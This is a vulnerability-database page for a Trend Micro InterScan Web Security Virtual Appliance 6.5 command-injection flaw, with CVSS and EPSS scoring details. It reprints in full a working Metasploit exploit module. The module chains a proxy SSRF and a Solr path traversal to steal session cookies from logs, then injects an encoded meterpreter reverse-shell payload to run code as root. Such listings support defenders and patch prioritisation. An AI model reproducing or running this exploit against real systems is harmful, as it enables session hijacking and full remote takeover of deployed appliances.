CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
A vulnerability in Trend Micro InterScan Web Security Virtual Appliance 6.5 may allow remote attackers to execute arbitrary code on affected installations. Authentication is required to exploit this vulnerability.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
8.8
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
6.5
AV:N/AC:L/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
45.1%
–
–
–
–
2021-09-05
–
45.1%
–
–
–
2022-02-06
–
–
52.58%
–
–
2022-04-03
–
–
10.12%
–
–
2023-02-26
–
–
10.12%
–
–
2023-03-12
–
–
–
96.78%
–
2023-06-04
–
–
–
96.7%
–
2023-09-10
–
–
–
96.7%
–
2023-12-24
–
–
–
96.58%
–
2024-01-14
–
–
–
96.67%
–
2024-02-18
–
–
–
96.66%
–
2024-06-02
–
–
–
96.49%
–
2024-06-23
–
–
–
96.24%
–
2024-07-07
–
–
–
96.46%
–
2024-07-28
–
–
–
96.19%
–
2024-08-25
–
–
–
96.37%
–
2024-09-22
–
–
–
96.46%
–
2024-12-22
–
–
–
91.74%
–
2025-01-12
–
–
–
89.5%
–
2025-03-02
–
–
–
90.61%
–
2025-01-19
–
–
–
89.5%
–
2025-03-09
–
–
–
90.61%
–
2025-03-18
–
–
–
–
88.86%
2025-03-30
–
–
–
–
88.75%
2025-03-30
–
–
–
–
88.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2020-07-13 22h00 +00:00 Author : Mehmet Ince EDB Verified : No
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities together in order to achive a remote code execution.
Unauthenticated users can execute a terminal command under the context of the root user.
The specific flaw exists within the LogSettingHandler class of administrator interface software.
When parsing the mount_device parameter, the process does not properly validate a user-supplied string
before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
the context of root. But authentication is required to exploit this vulnerability.
Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
can exploit this vulnerability in order to communicate with internal services in the product.
Last but not least a flaw exists within the Apache Solr application, which is installed within the product.
When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
An attacker can leverage this vulnerability to disclose information in the context of the IWSS user.
Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.
Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
],
'References' =>
[
['CVE', '2020-8604'],
['CVE', '2020-8605'],
['CVE', '2020-8606'],
['ZDI', '20-676'],
['ZDI', '20-677'],
['ZDI', '20-678']
],
'Privileged' => true,
'DefaultOptions' =>
{
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp',
'WfsDelay' => 30
},
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-bind'
}
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2020-06-10',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8443),
OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
]
)
end
def hijack_cookie
# Updating SSL and RPORT in order to communicate with HTTP proxy service.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = datastore['PROXY_PORT']
@jsessionid = ''
# We are exploiting proxy service vulnerability in order to fetch content of catalina.out file
print_status('Trying to extract session ID by exploiting reverse proxy service')
res = send_request_cgi({
'method' => 'GET',
'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
'vars_get' => {
'command' => 'filecontent',
'wt' => 'filestream',
'generation' => 1,
'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out'
}
})
# Restore variables and validate extracted sessionid
datastore['SSL'] = true if ssl_restore
datastore['RPORT'] = port_restore
# Routine check on res object
unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end
# If the res code is not 200 that means proxy service is not vulnerable.
unless res.code == 200
@jsessionid = -1
return
end
# Now we are going to extract all JESSIONID from log file and store them in array.
cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten
if cookies.empty?
@jsessionid = 0
print_error('System is vulnerable, however a user session was not detected and is therefore unexploitable. Retry after a user logs in.')
return
end
print_good("Extracted number of JSESSIONID: #{cookies.length}")
# We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl variables.
datastore['SSL'] = true if ssl_restore
datastore['RPORT'] = port_restore
# Latest cookie in the log file is the one most probably active. So that we use reverse on array.
cookies.reverse.each_with_index do |cookie, index|
print_status("Testing JSESSIONID ##{index} : #{cookie}")
# This endpoints is basically check session :)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'),
'cookie' => "JSESSIONID=#{cookie}"
})
# Routine res check
unless res
fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
end
# If the cookie is active !
if res.code == 200 && res.body.include?('session_flag')
print_good("Awesome!!! JESSIONID ##{index} is active.")
@jsessionid = cookie
break
end
print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
end
if @jsessionid.empty?
print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.')
end
end
def check
#
# @jsessionid can be one of the following value
#
# -1 = Proxy service is not vulnerable, which means we'r not gonna
# be able to read catalina.out
#
# 0 = Proxy service is vulnerable, but catalina.out does not contain any
# jessionid string yet !
#
# empty = Proxy service is vulnerable, but jessionid within log file but
# none of them are valid:(
#
# string = Proxy service is vulnerable and sessionid is valid !
#
hijack_cookie
if @jsessionid == -1
CheckCode::Safe
else
CheckCode::Vulnerable
end
end
def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
#
# 0 => Proxy service is vulnerable, but catalina.out does not contain any
# jessionid string yet !
#
# empty => Proxy service is vulnerable, but jessionid within log file but
# none of them are valid:(
#
if @jsessionid.empty? || @jessionid == 0
fail_with Failure::NoAccess, ''
end
print_status('Exploiting command injection vulnerability')
# Yet another app specific bypass is going on here.
# It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc)
# For that reason, I am planting our payload dropper within the perl command.
cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack1('H*')
p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
vars_post = {
mount_device: "mount $(#{p}) /var/offload",
cmd: 'mount'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
'cookie' => "JSESSIONID=#{@jsessionid}",
'ctype' => 'application/json',
'data' => vars_post.to_json
})
end
end
Products Mentioned
Configuraton 0
Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.5
Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.5 (Open CPE detail)
Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.5 (Open CPE detail)
